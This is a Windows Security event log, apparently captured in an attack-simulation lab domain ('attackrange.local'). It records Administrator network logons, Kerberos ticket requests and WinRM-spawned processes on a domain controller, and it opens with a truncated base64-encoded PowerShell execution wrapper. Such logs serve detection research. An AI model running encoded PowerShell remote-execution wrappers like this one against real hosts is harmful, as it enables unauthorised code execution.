BCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253362 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A596A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253361 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A596A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253360 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253359 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253358 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253357 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1294 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11e0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253356 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - -Process Information: - New Process ID: 0x11e0 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253355 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253354 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253353 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253352 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253351 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253350 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4E8B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253349 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253348 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D404 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253347 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4E8B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253346 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4E8B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253345 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253344 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253343 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253342 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4E69 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253341 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4E69 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253340 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4E69 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253339 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253338 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253337 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate 